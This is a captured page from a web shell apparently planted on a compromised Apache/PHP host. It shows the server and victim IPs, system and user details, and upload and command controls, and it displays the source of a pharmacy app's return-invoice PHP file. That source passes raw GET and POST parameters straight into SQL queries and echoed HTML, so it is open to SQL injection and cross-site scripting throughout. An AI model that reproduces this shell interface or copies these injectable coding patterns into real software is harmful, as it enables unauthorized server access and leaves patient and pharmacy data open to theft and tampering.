Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.188.61.81
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/Pharmacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in/Pharmacy/Return_purchase_invoice.php
<?php
session_start();
include("dbconnection.php");
require_once('../../DBManager.php');
require_once('../../patientmanager.php');
include("header.php");
include 'menu.php';;
  $medicine_slot ="SELECT * FROM medicine_slot WHERE batchno='$_GET[Batch_number]'";
		$Qmedicine_slot = mysqli_query($con,$medicine_slot);
		$Rowmedicine_slot = mysqli_fetch_array($Qmedicine_slot);
		
if(isset($_POST['CreateReturn'])) 
{ 
$medicine_inventory ="UPDATE `medicine_inventory` SET `totalQuatity`='$_POST[AddQty]' WHERE inventory_id='$_POST[inventory_id]'";
//echo $medicine_inventory;

if($qmedicine_inventory = mysqli_query($con,$medicine_inventory))
		{
    echo "<script>alert('Successfully');</script>";

		    
		} else {
    echo "Sorry, there was an error uploading your file.";
  } 
    
}

if(isset($_POST['CreateReturn'])) 
{ 
 $a=$_POST['UpgradeAmt'];
    $b=$_POST['priceFinal'];
        $res=$a-$b;
        
$sql1 ="UPDATE `purchasereport` SET `ReturnAmt`='$res' WHERE purchase_report_id='$_GET[pid]'";
if($purchasereport = mysqli_query($con,$sql1))
		{
    echo "<script>alert('Successfully');</script>";

		    
		}
}
if(isset($_POST['CreateReturn'])) 
{ 
 
 	$updated_at=date("F d, Y / h:i:s A");
   $created_at=date("F d, Y / h:i:s A");
   
  $a=$_POST['UpgradeAmt'];
    $b=$_POST['priceFinal'];
        $res=$a-$b;
        
$sql1 ="UPDATE `purchasereport` SET `ReturnAmt`='$res' WHERE purchase_report_id='$_GET[pid]'";

$sql1="INSERT INTO `PurchaseRetuneMedicine`(`userno`,`inventory_id`, `DRUGS_name`, `Batch_number`, `Quantity`, `ReturnQuantity`, `UpdQty`, `Amt`, `ReturnPrice`,`Rem_amount`, `discount`, `invoice_no`, `vendor`, `pid`, `medicine_id`, `created_at`, `created_by`) VALUES ('$_POST[userno]','$_POST[inventory_id]','$_POST[DRUGS_name]','$_POST[Batch_number]','$_POST[Quantity]','$_POST[ReturnQuantity]','$_POST[AddQty]','$_POST[UpgradeAmt]','$_POST[priceFinal]','$res','$_POST[discount]','$_GET[invoice_no]','$_GET[vendor]','$_GET[pid]','$_GET[medicine_id]','$created_at','$updated_at')";
//echo $sql1;



if($qsql1 = mysqli_query($con,$sql1))
		{
  
$last_id = mysqli_insert_id($con);

//echo $last_id;
    //echo "<script>alert('Successfully');</script>";
    echo "<script>window.location.replace('ViewPurchaseReturn.php?id=$last_id'); </script>";
  } else {
    echo "Sorry, there was an error uploading your file.";
  } 
    
}
?>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

<style>
      #loaderImg {
         position: absolute;
         top: 0;
         bottom: 0;
         left: 0;
         right: 0; 
         margin: auto;
         border: 10px solid grey;
         border-radius: 50%;
         border-top: 10px solid black;
         width: 100px;
         height: 100px;
         animation: spin 1s linear infinite;
         z-index:10000000;
      }
      @keyframes spin {
         0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
         }
         100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
         }
      }
   </style>
    
  </div>
</div>
<div class="wrapper col-4" style='width:100%'>
  <div id="container-fluid">
  
 
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
        <div style = "display:none;" id = "loaderImg"> <div class="loader"> </div> </div>

   <form method="post" action="" id="myForm" name="submit" onSubmit="return validateform()">
<table border="1" class="order-table table table-hover table-bordered">
      <tbody>
                  <tr>
          <th>Date – time </th>
          <th>Medication Details</th>
             <th>Quantity To Be Return </th>
         
         </tr>
        </tbody>
<?php
include("dbconnection.php");
require_once('../../DBManager.php');
require_once('../../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		
		     


  
 $medicine_stok ="SELECT * FROM medicine_stok WHERE medicine_id='$_GET[medicine_id]' AND admin_id='$re[entered_by]'";
$qmedicine_stok = mysqli_query($con,$medicine_stok);
$rmedicine_stok = mysqli_fetch_array($qmedicine_stok);
           
$sql ="SELECT * FROM medicine_inventory where medicine_id='$rmedicine_stok[medicine_id]'";
$qsql = mysqli_query($con,$sql);
$RowMedicineIn = mysqli_fetch_array($qsql);		    

$purchasereport ="SELECT * FROM purchasereport where purchase_report_id='$_GET[pid]'";
$qpurchasereport = mysqli_query($con,$purchasereport);
$Rowpurchasereport = mysqli_fetch_array($qpurchasereport);		    
		    
echo"";
echo"";

		     echo " <tbody>
            <tr>
     <td><b>Created at:</b> $Rowpurchasereport[created_at]
     <input type='hidden' name='created_at' id='created_at' value='$Rowpurchasereport[created_at]'/>
                 <br><b>Created By:</b> $re[name] 
                  <input type='hidden' name='userno' id='userno' value='$re[userno]'/>
                 </td>
                 <td><b>Name :</b> $Rowpurchasereport[DRUGS_name] 
                 <input type='hidden' name='DRUGS_name' id='DRUGS_name' value='$Rowpurchasereport[DRUGS_name]'/>
                 
                
                 ";
                 
                 
	   






    echo " <br>	<b>	Batch No :</b> $Rowpurchasereport[Batch_number]
    
     <input type='hidden' name='Batch_number' id='Batch_number' value='$Rowpurchasereport[Batch_number]'/>
    ";
    
   
echo " <br>	<b>	Quantity Purchased :</b> $RowMedicineIn[totalQuatity]  
<input type='hidden' name='Quantity' id='Quantity' value='$RowMedicineIn[totalQuatity]'/><br>";    
    
    

            echo "</td><td>
            <div style = 'display:none;' id = 'loaderImg'> <div class='loader'> </div> </div>
<form name='FinalDecision' id='myForm' method='POST'>
            ";
            

    $PInvoice=$con->query("SELECT * FROM purchasereport WHERE purchase_report_id='$_GET[pid]'");
    $RPInvoice=$PInvoice->fetch_array();
  
   	$medicine_stok ="SELECT * FROM medicine_stok WHERE medicine_id='$RPInvoice[medicine_id]'";
$qmedicine_stok = mysqli_query($con,$medicine_stok);
$rsms = mysqli_fetch_array($qmedicine_stok);
    $a=$rs['Quantity']*$rsms['size'];
     
		
 // total qty           
   echo "<input type='number' id='txt1$_GET[pid]' required  name='ReturnQuantity'  onkeyup='sum$_GET[pid]();' style='width:50%;'/><br>
<input type='hidden' id='txt2$_GET[pid]' value='$RowMedicineIn[totalQuatity]'  onkeyup='sum$_GET[pid]();' style='width:25%;'/><br>


<input type='hidden' id='txt3$_GET[pid]' name='AddQty' onkeyup='sum$_GET[pid]();'   style='width:25%; color:#ff0080'/>

";
//  Calculation total qty
echo "<input type='hidden' id='totalQuatity$_GET[pid]' name='totalQuatity' value='$RowMedicineIn[totalQuatity]' onkeyup='sum$_GET[pid]();' style='width:25%; color:red'/>
<input type='hidden' id='AddQuatity$_GET[pid]' name='AddQuatity'   style='width:25%; color:#0040ff'/>";
  
// calculation total Amt 
echo"<input type='hidden' name='UpgradeAmt' id='UpgradeAmt$_GET[pid]' value='$RPInvoice[ReturnAmt]' onkeyup='Pricesum$_GET[pid]();' style='width:25%;color:blue;'>
<input type='hidden' name='priceFinal' id='priceFinal$_GET[pid]'  onkeyup='Pricesum$_GET[pid]();' style='width:25%;color:red'>




<input type='hidden' name='inventory_id' value='$RowMedicineIn[inventory_id]'>
<input type='hidden' name='discount' value='$RPInvoice[Discount]'>
 <input type='hidden' name='entered_by' value='$re[userno]'>";
echo" <input type='hidden' name='medicine_id' value='$_GET[medicine_id]'></td>
              

    </tr>   
    <tr><td colspan='3'><input type='submit' class='btn btn-success' value='Proceed' name='CreateReturn'></td></tr>
                 
          </form>
   
   	";	
		
	
		?>

   <table id="example2"  id ="demo" class="table table-bordered table-hover">
<?php
			$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                    
          
     ";
}
?>  
   </tbody>
</table> 
   </form>
    <p>&nbsp;</p>

  </div>
</div>
</div>
 <div class="clear"></div>
  </div>
</div>
<?php
include("footer.php");
?>
         <script>
      let modalBtns = [...document.querySelectorAll(".button")];
      modalBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.getAttribute('data-modal');
          document.getElementById(modal)
            .style.display = "block";
        }
      });
      let closeBtns = [...document.querySelectorAll(".close")];
      closeBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.closest('.modal');
          modal.style.display = "none";
        }
      });
      window.onclick = function(event) {
        if(event.target.className === "modal") {
          event.target.style.display = "none";
        }
      }
    </script>
    <script>
 function drugload(drid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divdr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loaddrug.php?drid="+drid,true);
        xmlhttp.send();
}
     
       
  
</script>

  </body>
</html>
</div>

<script>
   
   function sum<?php echo $_GET['pid'] ?>() {
            var txtFirstNumberValue = document.getElementById('txt1<?php echo $_GET['pid'] ?>').value;
            var txtSecondNumberValue = document.getElementById('txt2<?php echo $_GET['pid'] ?>').value;
            var txttotalQuatity=document.getElementById('totalQuatity<?php echo $_GET['pid'] ?>').value;
            var txtFifthNumberValue = document.getElementById('UpgradeAmt<?php echo $_GET['pid'] ?>').value;
            
              var result =  parseInt(txtSecondNumberValue) - parseInt(txtFirstNumberValue);
              var textQty=parseFloat(txtFirstNumberValue)+parseFloat(txttotalQuatity);
              var DividePrice=parseFloat(txtFifthNumberValue)/parseFloat(txtSecondNumberValue);
              var FinalPrice=parseFloat(DividePrice)*parseFloat(txtFirstNumberValue);
              
            if (!isNaN(result)) {
                document.getElementById('txt3<?php echo $_GET['pid'] ?>').value = result;
            }
           if (!isNaN(textQty)) {
                document.getElementById('AddQuatity<?php echo $_GET['pid'] ?>').value = textQty;
            }
            if (!isNaN(FinalPrice)) {
                document.getElementById('priceFinal<?php echo $_GET['pid'] ?>').value = FinalPrice;
            }
        }
</script>





  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){
    $('#myForm').submit(function() {
     $('#loaderImg').show(); 
      return true;
    });
});
</script>

Anon7 - 2022
AnonSec Team